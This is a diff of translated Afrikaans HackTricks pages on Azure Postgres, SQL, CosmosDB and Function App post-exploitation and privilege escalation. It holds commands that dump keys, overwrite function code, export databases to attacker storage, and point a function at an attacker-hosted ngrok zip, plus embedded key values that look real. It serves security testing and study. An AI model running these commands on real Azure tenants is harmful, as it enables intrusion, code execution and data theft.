Protection (ATP) instellings vir 'n Postgres Flexible Server instance op Azure konfigureer of opdateer. Dit stel jou in staat om sekuriteitskenmerke in te skakel of uit te skakel wat ontwerp is om anomale aktiwiteite en potensiële bedreigings te detecteer en daarop te reageer. ```bash az postgres flexible-server threat-protection-policy update \ --name \ --resource-group \ --state ``` -{% endcode %} +### `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write`, `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read` -### "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write", "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read" - -Met hierdie toestemming kan jy firewall-reëls vir 'n Postgres Flexible Server-instantie op Azure skep of wysig. Dit stel jou in staat om te beheer watter IP-adresse of -reekse toegang tot die bediener kan hê. Onbevoegde of onvanpaste gebruik van hierdie toestemming kan die bediener aan ongewenste of kwaadwillige toegang blootstel. - -{% code overflow="wrap" %} +Met hierdie toestemming kan jy firewallreëls vir 'n Postgres Flexible Server-instansie op Azure skep of wysig. Dit stel jou in staat om te beheer watter IP-adresse of -reekse toegang tot die bediener kan verkry. Onbevoegde of onvanpaste gebruik van hierdie toestemming kan die bediener aan ongewenste of kwaadwillige toegang blootstel. ```bash # Create Rule az postgres flexible-server firewall-rule create \ @@ -70,13 +56,9 @@ az postgres flexible-server firewall-rule update \ --start-ip-address \ --end-ip-address ``` -{% endcode %} - -### "Microsoft.DBforPostgreSQL/flexibleServers/configurations/write" && "Microsoft.DBforPostgreSQL/flexibleServers/configurations/read" +### `Microsoft.DBforPostgreSQL/flexibleServers/configurations/write` && `Microsoft.DBforPostgreSQL/flexibleServers/configurations/read` Met hierdie toestemming kan jy die konfigurasie-instellings van 'n Postgres Flexible Server-instansie op Azure opdateer. Dit stel jou in staat om bedienerparameters soos prestasie-afstemming, sekuriteitskonfigurasies of operasionele instellings aan te pas. - -{% code overflow="wrap" %} ```bash az postgres flexible-server parameter set \ --resource-group \ @@ -84,45 +66,36 @@ az postgres flexible-server parameter set \ --name \ --value ``` -{% endcode %} - -### "Microsoft.DBforPostgreSQL/flexibleServers/stop/action" +### `Microsoft.DBforPostgreSQL/flexibleServers/stop/action` Met hierdie toestemming kan jy 'n PostgreSQL Flexible Server-instansie op Azure stop. Om 'n bediener te stop, kan lei tot tydelike diensonderbreking, wat toepassings en gebruikers wat van die databasis afhanklik is, beïnvloed. - -{% code overflow="wrap" %} ```bash az postgres flexible-server stop \ --name \ --resource-group ``` -{% endcode %} -### "Microsoft.DBforPostgreSQL/flexibleServers/start/action" +### `Microsoft.DBforPostgreSQL/flexibleServers/start/action` With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database. -{% code overflow="wrap" %} ```bash az postgres flexible-server start \ --name \ --resource-group ``` -{% endcode %} -### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action" +### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` With this permission, you can assign a user-assigned managed identity to postgres flexible servers. -{% code overflow="wrap" %} ```bash az postgres flexible-server identiteit toewys \ --hulpbron-groep \ --bediener-naam \ --identiteit ``` -{% endcode %} -### "*/delete" +### `*/delete` With this permissions you can delete resources related to postgres server in Azure such as server, firewalls, managed identities or configurations diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md index 50ded49db..589b1ea8c 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md @@ -10,7 +10,7 @@ Vir meer inligting oor SQL Databasis, kyk: ../az-services/az-sql.md {{#endref}} -### "Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write" +### `Microsoft.Sql/servers/databases/read`, `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/databases/write` Met hierdie toestemmings kan 'n aanvaller databasis skep en opdateer binne die gecompromitteerde omgewing. Hierdie post-exploitatie aktiwiteit kan 'n aanvaller in staat stel om kwaadwillige data by te voeg, databasis konfigurasies te wysig, of agterdeure in te voeg vir verdere volharding, wat moontlik operasies kan ontwrig of addisionele kwaadwillige aksies kan moontlik maak. ```bash @@ -20,9 +20,9 @@ az sql db create --resource-group --server --name # Update Database az sql db update --resource-group --server --name --max-size ``` -### "Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read" +### `Microsoft.Sql/servers/elasticPools/write` && `Microsoft.Sql/servers/elasticPools/read` -Met hierdie toestemmings kan 'n aanvaller elastiese poele binne die gecompromitteerde omgewing skep en opdateer. Hierdie post-exploitatie aktiwiteit kan 'n aanvaller in staat stel om kwaadwillige data by te voeg, databasis konfigurasies te wysig, of agterdeure in te voeg vir verdere volharding, wat moontlik operasies kan ontwrig of addisionele kwaadwillige aksies kan moontlik maak. +Met hierdie toestemmings kan 'n aanvaller elasticPools binne die gecompromitteerde omgewing skep en opdateer. Hierdie post-exploitatie aktiwiteit kan 'n aanvaller in staat stel om kwaadwillige data by te voeg, databasis konfigurasies te wysig, of agterdeure in te voeg vir verdere volharding, wat moontlik operasies kan ontwrig of addisionele kwaadwillige aksies kan moontlik maak. ```bash # Create Elastic Pool az sql elastic-pool create \ @@ -40,9 +40,9 @@ az sql elastic-pool update \ --dtu \ --tags ``` -### "Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write" +### `Microsoft.Sql/servers/auditingSettings/read` && `Microsoft.Sql/servers/auditingSettings/write` -Met hierdie toestemming kan jy ouditinstellings op 'n Azure SQL Server wysig of aktiveer. Dit kan 'n aanvaller of gemagtigde gebruiker in staat stel om ouditkonfigurasies te manipuleer, wat moontlik spore kan bedek of ouditlogs na 'n plek onder hul beheer kan herlei. Dit kan sekuriteitsmonitering hindern of dit in staat stel om die aksies op te volg. LET WEL: Om ouditering vir 'n Azure SQL Server met Blob Storage te aktiveer, moet jy 'n stoorrekening aanheg waar die ouditlogs gestoor kan word. +Met hierdie toestemming kan jy ouditinstellings op 'n Azure SQL Server wysig of aktiveer. Dit kan 'n aanvaller of gemagtigde gebruiker in staat stel om ouditkonfigurasies te manipuleer, wat moontlik spore kan bedek of ouditlogs na 'n plek onder hul beheer kan herlei. Dit kan sekuriteitsmonitering belemmer of dit in staat stel om die aksies op te volg. LET WEL: Om ouditering vir 'n Azure SQL Server met Blob Storage te aktiveer, moet jy 'n stoorrekening koppel waar die ouditlogs gestoor kan word. ```bash az sql server audit-policy update \ --server \ @@ -51,18 +51,18 @@ az sql server audit-policy update \ --storage-account \ --retention-days 7 ``` -### "Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write" +### `Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read`, `Microsoft.Sql/servers/connectionPolicies/read` && `Microsoft.Sql/servers/connectionPolicies/write` -Met hierdie toestemming kan jy die verbintningsbeleide van 'n Azure SQL Server wysig. Hierdie vermoë kan benut word om bediener-vlak verbintningsinstellings in te skakel of te verander. +Met hierdie toestemming kan jy die verbindsbeleid van 'n Azure SQL Server wysig. Hierdie vermoë kan benut word om bediener-vlak verbindsinstellings in te skakel of te verander. ```bash az sql server connection-policy update \ --server \ --resource-group \ --connection-type ``` -### "Microsoft.Sql/servers/databases/export/action" +### `Microsoft.Sql/servers/databases/export/action` -Met hierdie toestemming kan jy 'n databasis van 'n Azure SQL Server na 'n stoorrekening uitvoer. 'n Aanvaller of gemagtigde gebruiker met hierdie toestemming kan sensitiewe data uit die databasis onttrek deur dit na 'n plek wat hulle beheer, uit te voer, wat 'n beduidende risiko van datalekke inhou. Dit is belangrik om die stoor sleutel te ken om dit te kan uitvoer. +Met hierdie toestemming kan jy 'n databasis van 'n Azure SQL Server na 'n stoorrekening uitvoer. 'n Aanvaller of gemagtigde gebruiker met hierdie toestemming kan sensitiewe data uit die databasis onttrek deur dit na 'n plek wat hulle beheer, uit te voer, wat 'n beduidende data-oortredingsrisiko inhou. Dit is belangrik om die stoor sleutel te ken om dit te kan uitvoer. ```bash az sql db export \ --server \ @@ -74,7 +74,7 @@ az sql db export \ --admin-password ``` -### "Microsoft.Sql/servers/databases/import/action" +### `Microsoft.Sql/servers/databases/import/action` Met hierdie toestemming kan jy 'n databasis in 'n Azure SQL Server invoer. 'n Aanvaller of gemagtigde gebruiker met hierdie toestemming kan potensieel kwaadwillige of gemanipuleerde databasisse oplaai. Dit kan lei tot die verkryging van beheer oor sensitiewe data of deur skadelike skripte of triggers binne die ingevoerde databasis in te sluit. Boonop kan jy dit na jou eie bediener in Azure invoer. Let wel: Die bediener moet Azure-dienste en -hulpbronne toelaat om toegang tot die bediener te verkry. ```bash @@ -85,6 +85,6 @@ az sql db import --admin-user \ --resource-group \ --storage-key-type SharedAccessKey \ --storage-key \ ---storage-uri "https://.blob.core.windows.net/bacpac-container/MyDatabase.bacpac" +--storage-uri `https://.blob.core.windows.net/bacpac-container/MyDatabase.bacpac` ``` {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md index f0eaffe89..e9a0f0eb5 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md @@ -5,15 +5,13 @@ ## CosmosDB Privesc Vir meer inligting oor SQL Database, kyk: -{% content-ref url="../az-services/az-cosmosDB.md" %} -[az-cosmosDB.md](../az-services/az-cosmosDB.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-cosmosDB.md +{{#endref}} -### ("Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read") & ("Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read") +### (`Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read`) & (`Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read`) Met hierdie toestemmings kan jy priviledge eskaleer deur 'n gebruiker die toestemmings te gee om navrae uit te voer en met die databasis te verbind. Eerstens word 'n rol gedefinieer wat die nodige toestemmings en skope gee. - -{% code overflow="wrap" %} ```bash az cosmosdb sql role definition create \ --account-name \ @@ -36,11 +34,7 @@ az cosmosdb sql role definition create \ ] }' ``` -{% endcode %} - Daarna word die toekenning van die definisie aan 'n gebruiker gegee. Daarna kan daardie gebruiker die DefaultAzureCredential() verbindingsmetode gebruik om navrae uit te voer. - -{% code overflow="wrap" %} ```bash az cosmosdb sql role assignment create \ --account-name \ @@ -49,19 +43,12 @@ az cosmosdb sql role assignment create \ --principal-id \ --scope "/" ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/listKeys/action" +### `Microsoft.DocumentDB/databaseAccounts/listKeys/action` Met hierdie toestemming kan jy die primêre en sekondêre sleutels vir 'n Azure Cosmos DB-rekening verkry. Hierdie sleutels bied volle toegang tot die databasisrekening en sy hulpbronne, wat aksies soos data lees, skryf en konfigurasiewijzigings moontlik maak. - -{% code overflow="wrap" %} ```bash az cosmosdb keys list \ --name \ --resource-group ``` -{% endcode %} - - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md index dc27e0b27..e9de7f246 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md @@ -12,7 +12,7 @@ Kyk die volgende bladsy vir meer inligting: ### Emmer Lees/Skryf -Met toestemmings om die houers binne die Stoorrekening wat die funksiedata stoor te lees, is dit moontlik om **verskillende houers** (pasgemaak of met vooraf gedefinieerde name) te vind wat **die kode wat deur die funksie uitgevoer word** mag bevat. +Met toestemmings om die houers binne die Stoorrekening wat die funksiedata stoor te lees, is dit moontlik om **verskillende houers** (pasgemaak of met vooraf gedefinieerde name) te vind wat **die kode wat deur die funksie uitgevoer word** kan bevat. Sodra jy vind waar die kode van die funksie geleë is, as jy skryftoestemmings daaroor het, kan jy die funksie laat uitvoer enige kode en voorregte opgradeer na die bestuurde identiteite wat aan die funksie gekoppel is. @@ -20,7 +20,7 @@ Sodra jy vind waar die kode van die funksie geleë is, as jy skryftoestemmings d Die kode van die funksie word gewoonlik binne 'n lêerdeel gestoor. Met genoeg toegang is dit moontlik om die kode-lêer te wysig en **die funksie te laat laai arbitrêre kode**, wat toelaat om voorregte op te gradeer na die bestuurde identiteite wat aan die Funksie gekoppel is. -Hierdie ontplooiingsmetode konfigureer gewoonlik die instellings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** en **`WEBSITE_CONTENTSHARE`** wat jy kan kry van +Hierdie ontplooiingsmetode konfigureer gewoonlik die instellings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** en **`WEBSITE_CONTENTSHARE`** wat jy kan kry van ```bash az functionapp config appsettings list \ --name \ @@ -47,7 +47,7 @@ open "smb://.file.core.windows.net/" ``` - **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`) -Dit is ook algemeen om die **zip vrystellings** binne die gids `function-releases` van die Stoorrekening houer te vind wat die funksie-app gebruik in 'n houer **gewoonlik genoem `function-releases`**. +Dit is ook algemeen om die **zip vrystellings** binne die gids `function-releases` van die Storage Account houer te vind wat die funksie-app gebruik in 'n houer **gewoonlik genoem `function-releases`**. Gewoonlik sal hierdie ontplooiingsmetode die `WEBSITE_RUN_FROM_PACKAGE` konfigurasie stel in: ```bash @@ -58,7 +58,7 @@ az functionapp config appsettings list \ Hierdie konfigurasie sal gewoonlik 'n **SAS URL om die** kode van die Stoorrekening af te laai, bevat. > [!CAUTION] -> Met genoeg toestemming om met die blob-container te verbind wat **die kode in zip bevat**, is dit moontlik om arbitrêre kode in die Funksie uit te voer en bevoegdhede te verhoog. +> Met genoeg toestemming om met die blob-container te verbind wat **die kode in zip bevat**, is dit moontlik om willekeurige kode in die Funksie uit te voer en bevoegdhede te verhoog. - **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)` @@ -66,7 +66,7 @@ Net soos in die vorige geval, as die ontplooiing via Github Actions gedoen word, - **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` en `WEBSITE_CONTENTSHARE`) -Met toestemming om die houers binne die Stoorrekening wat die funksiedata stoor, te lees, is dit moontlik om die houer **`scm-releases`** te vind. Daarbinne is dit moontlik om die nuutste weergawe in **Squashfs lêerstelsels lêerformaat** te vind en daarom is dit moontlik om die kode van die funksie te lees: +Met toestemming om die houers binne die Stoorrekening wat die funksiedata stoor, te lees, is dit moontlik om die houer **`scm-releases`** te vind. Daarbinne is dit moontlik om die nuutste weergawe in **Squashfs filesystem file format** te vind en daarom is dit moontlik om die kode van die funksie te lees: ```bash # List containers inside the storage account of the function app az storage container list \ @@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-.zip" mkdir /tmp/fs unsquashfs -d /tmp/fs /tmp/scm-latest-.zip ``` -Dit is ook moontlik om die **master en funksies sleutels** te vind wat in die stoorrekening gestoor is in die houer **`azure-webjobs-secrets`** binne die gids **``** in die JSON-lêers wat jy daarbinne kan vind. +Dit is ook moontlik om die **master en funksies sleutels** wat in die stoorrekening gestoor is, te vind in die houer **`azure-webjobs-secrets`** binne die gids **``** in die JSON-lêers wat jy daarbinne kan vind. > [!CAUTION] -> Met genoeg toestemming om te verbind met die blob houer wat die **kode in 'n zip-uitbreiding lêer** bevat (wat eintlik 'n **`squashfs`** is) is dit moontlik om arbitrêre kode in die Funksie uit te voer en voorregte te verhoog. +> Met genoeg toestemming om met die blob-houer te verbind wat **die kode in 'n zip-uitbreiding lêer** bevat (wat eintlik 'n **`squashfs`** is), is dit moontlik om arbitrêre kode in die Funksie uit te voer en voorregte te verhoog. ```bash # Modify code inside the script in /tmp/fs adding your code @@ -116,7 +116,7 @@ az storage blob upload \ --file /tmp/scm-latest-.zip \ --overwrite ``` -### Microsoft.Web/sites/host/listkeys/action +### `Microsoft.Web/sites/host/listkeys/action` Hierdie toestemming laat toe om die funksie, meester en stelselsleutels te lys, maar nie die gasheer een nie, van die gespesifiseerde funksie met: ```bash @@ -133,7 +133,7 @@ curl "?code=" ## Python example: curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v ``` -En om die **kode wat in die funksie uitgevoer word** te verander met: +En om **die kode wat uitgevoer word** in die funksie te verander met: ```bash # Set the code to set in the function in /tmp/function_app.py ## The following continues using the python example @@ -143,49 +143,49 @@ curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwro -H "If-Match: *" \ -v ``` -### Microsoft.Web/sites/functions/listKeys/action +### `Microsoft.Web/sites/functions/listKeys/action` Hierdie toestemming laat toe om die gasheersleutel van die gespesifiseerde funksie te verkry met: ```bash az rest --method POST --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//listKeys?api-version=2022-03-01" ``` -### Microsoft.Web/sites/host/functionKeys/write +### `Microsoft.Web/sites/host/functionKeys/write` Hierdie toestemming laat toe om 'n funksiesleutel van die gespesifiseerde funksie te skep/opdateer met: ```bash az functionapp keys set --resource-group --key-name --key-type functionKeys --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` -### Microsoft.Web/sites/host/masterKey/write +### `Microsoft.Web/sites/host/masterKey/write` -Hierdie toestemming laat toe om 'n meester sleutel te skep/op te dateer vir die gespesifiseerde funksie met: +Hierdie toestemming stel in staat om 'n meester sleutel vir die gespesifiseerde funksie te skep/opdateer met: ```bash az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` > [!CAUTION] > Onthou dat jy met hierdie sleutel ook toegang tot die bronkode kan verkry en dit kan wysig soos voorheen verduidelik! -### Microsoft.Web/sites/host/systemKeys/write +### `Microsoft.Web/sites/host/systemKeys/write` -Hierdie toestemming stel jou in staat om 'n stelselsleutel vir 'n funksie te skep/op te dateer na die gespesifiseerde funksie met: +Hierdie toestemming laat jou toe om 'n stelselsleutel vir 'n funksie te skep/op te dateer na die gespesifiseerde funksie met: ```bash az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` -### Microsoft.Web/sites/config/list/action +### `Microsoft.Web/sites/config/list/action` Hierdie toestemming laat toe om die instellings van 'n funksie te verkry. Binne hierdie konfigurasies mag dit moontlik wees om die standaardwaardes **`AzureWebJobsStorage`** of **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** te vind wat 'n **rekening sleutel bevat om toegang te verkry tot die blob stoor van die funksie met VOLLE toestemmings**. ```bash az functionapp config appsettings list --name --resource-group ``` -Boonop, hierdie toestemming stel ook in staat om die **SCM gebruikersnaam en wagwoord** (indien geaktiveer) te verkry met: +Boonop, hierdie toestemming laat ook toe om die **SCM gebruikersnaam en wagwoord** (indien geaktiveer) te verkry met: ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/publishingcredentials/list?api-version=2018-11-01" ``` -### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write +### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write` -Hierdie toestemmings laat jou toe om die konfigurasiewaarde van 'n funksie te lys soos ons voorheen gesien het plus **hierdie waardes te wysig**. Dit is nuttig omdat hierdie instellings aandui waar die kode om binne die funksie uit te voer geleë is. +Hierdie toestemmings laat jou toe om die konfigurasiewaarde van 'n funksie te lys soos ons voorheen gesien het plus **hierdie waardes te wysig**. Dit is nuttig omdat hierdie instellings aandui waar die kode om binne die funksie uit te voer geleë is. -Dit is dus moontlik om die waarde van die instelling **`WEBSITE_RUN_FROM_PACKAGE`** te stel wat na 'n URL zip-lêer verwys wat die nuwe kode bevat om binne 'n webtoepassing uit te voer: +Dit is dus moontlik om die waarde van die instelling **`WEBSITE_RUN_FROM_PACKAGE`** te stel wat na 'n URL zip-lêer wys wat die nuwe kode bevat om binne 'n webtoepassing uit te voer: - Begin deur die huidige konfigurasie te verkry ```bash @@ -203,9 +203,9 @@ python3 -m http.server # Serve it using ngrok for example ngrok http 8000 ``` -- Wysig die funksie, hou die vorige parameters en voeg aan die einde die konfigurasie **`WEBSITE_RUN_FROM_PACKAGE`** by wat na die URL met die **zip** wat die kode bevat, verwys. +- Pas die funksie aan, hou die vorige parameters en voeg aan die einde die konfigurasie **`WEBSITE_RUN_FROM_PACKAGE`** by wat na die URL met die **zip** wat die kode bevat, verwys. -Die volgende is 'n voorbeeld van my **eie instellings wat jy sal moet verander na joune**, let aan die einde op die waardes `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` , dit is waar ek die app gehos het. +Die volgende is 'n voorbeeld van my **eie instellings waarvoor jy die waardes moet verander na joune**, let op aan die einde die waardes `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, dit is waar ek die app gehos het. ```bash # Modify the function az rest --method PUT \ @@ -213,7 +213,7 @@ az rest --method PUT \ --headers '{"Content-Type": "application/json"}' \ --body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}' ``` -### Microsoft.Web/sites/hostruntime/vfs/write +### `Microsoft.Web/sites/hostruntime/vfs/write` Met hierdie toestemming is dit **moontlik om die kode van 'n toepassing te wysig** deur die webkonsol (of deur die volgende API-eindpunt): ```bash @@ -224,9 +224,9 @@ az rest --method PUT \ --headers '{"Content-Type": "application/json", "If-Match": "*"}' \ --body @/tmp/body ``` -### Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write) +### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`) -Hierdie toestemmings laat toe om al die publikasieprofiele te lys wat basies **basiese outentikasie geloofsbriewe** bevat: +Hierdie toestemmings laat toe om al die publikasieprofiele te lys wat basies **basiese outentiseringsbewyse** bevat: ```bash # Get creds az functionapp deployment list-publishing-profiles \ @@ -242,7 +242,7 @@ az functionapp deployment user set \ ``` - As **REDACTED** geloofsbriewe -As jy sien dat daardie geloofsbriewe **REDACTED** is, is dit omdat jy **die SCM basiese outentikasie opsie moet aktiveer** en daarvoor het jy die tweede toestemming (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` +As jy sien dat daardie geloofsbriewe **REDACTED** is, is dit omdat jy **die SCM basiese outentikasie opsie moet aktiveer** en daarvoor het jy die tweede toestemming (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` nodig. ```bash # Enable basic authentication for SCM az rest --method PUT \ @@ -264,7 +264,7 @@ az rest --method PUT \ ``` - **Metode SCM** -Dan kan jy toegang verkry met hierdie **basiese outentikasie akrediteerings na die SCM URL** van jou funksie-app en die waardes van die omgewing veranderlikes kry: +Dan kan jy toegang verkry met hierdie **basiese outentikasie akrediteerings na die SCM-URL** van jou funksie-app en die waardes van die omgewing veranderlikes kry: ```bash # Get settings values curl -u ':' \ @@ -283,7 +283,7 @@ Die instellingswaardes bevat die **AccountKey** van die stoorrekening wat die da - **Metode FTP** -Verbinde met die FTP-bediener deur: +Verbind met die FTP-bediener deur: ```bash # macOS install lftp brew install lftp @@ -299,38 +299,29 @@ put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and depl ``` _Note dat die **FTP gebruikersnaam** gewoonlik in die formaat \\\$\ is._ -### Microsoft.Web/sites/publish/Action - -Volgens [**die dokumentasie**](https://github.com/projectkudu/kudu/wiki/REST-API#command), laat hierdie toestemming toe om **opdragte binne die SCM bediener uit te voer** wat gebruik kan word om die bronkode van die toepassing te wysig: -```bash -az rest --method POST \ ---resource "https://management.azure.com/" \ ---url "https://newfuncttest123.scm.azurewebsites.net/api/command" \ ---body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug -``` -### Microsoft.Web/sites/hostruntime/vfs/read +### `Microsoft.Web/sites/hostruntime/vfs/read` Hierdie toestemming laat toe om die **bronkode** van die app deur die VFS te **lees**: ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" ``` -### Microsoft.Web/sites/functions/token/action +### `Microsoft.Web/sites/functions/token/action` -Met hierdie toestemming is dit moontlik om die [**admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) te verkry wat later gebruik kan word om die **master key** te verkry en dus toegang te verkry tot en die funksie se kode te wysig: +Met hierdie toestemming is dit moontlik om [die **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) te verkry wat later gebruik kan word om die **master key** te verkry en dus toegang te verkry tot en die funksie se kode te wysig. + +E however, in my laaste kontroles is daar geen token teruggestuur nie, so dit mag gedeaktiveer wees of nie meer werk nie, maar hier is hoe jy dit sou doen: ```bash # Get admin token -az rest --method POST \ ---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions/admin/token?api-version=2024-04-01" \ ---headers '{"Content-Type": "application/json"}' \ ---debug +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions/admin/token?api-version=2024-04-01" # Get master key curl "https://.azurewebsites.net/admin/host/systemkeys/_master" \ -H "Authorization: Bearer " ``` -### Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read) +### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`) -Hierdie toestemmings stel jou in staat om **funksies te aktiveer** wat dalk gedeaktiveer is (of om hulle te deaktiveer). +Hierdie toestemmings laat toe om **funksies te aktiveer** wat dalk gedeaktiveer is (of om hulle te deaktiveer). ```bash # Enable a disabled function az functionapp config appsettings set \ @@ -342,17 +333,17 @@ Dit is ook moontlik om te sien of 'n funksie geaktiveer of gedeaktiveer is in di ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//properties/state?api-version=2024-04-01" ``` -### Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read) +### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`) -Met hierdie toestemmings is dit moontlik om die **houer wat deur 'n funksie-app bestuur word** wat geconfigureer is om 'n houer te bestuur, te **wysig**. Dit sal 'n aanvaller in staat stel om 'n kwaadwillige azure funksie houer-app na docker hub (byvoorbeeld) op te laai en die funksie te laat uitvoer. +Met hierdie toestemmings is dit moontlik om die **houer wat deur 'n funksie-app bestuur word** wat geconfigureer is om 'n houer te bestuur, te **wysig**. Dit sou 'n aanvaller in staat stel om 'n kwaadwillige azure funksie houer-app na docker hub (byvoorbeeld) op te laai en die funksie te laat uitvoer. ```bash az functionapp config container set --name \ --resource-group \ --image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0" ``` -### Microsoft.Web/sites/write, 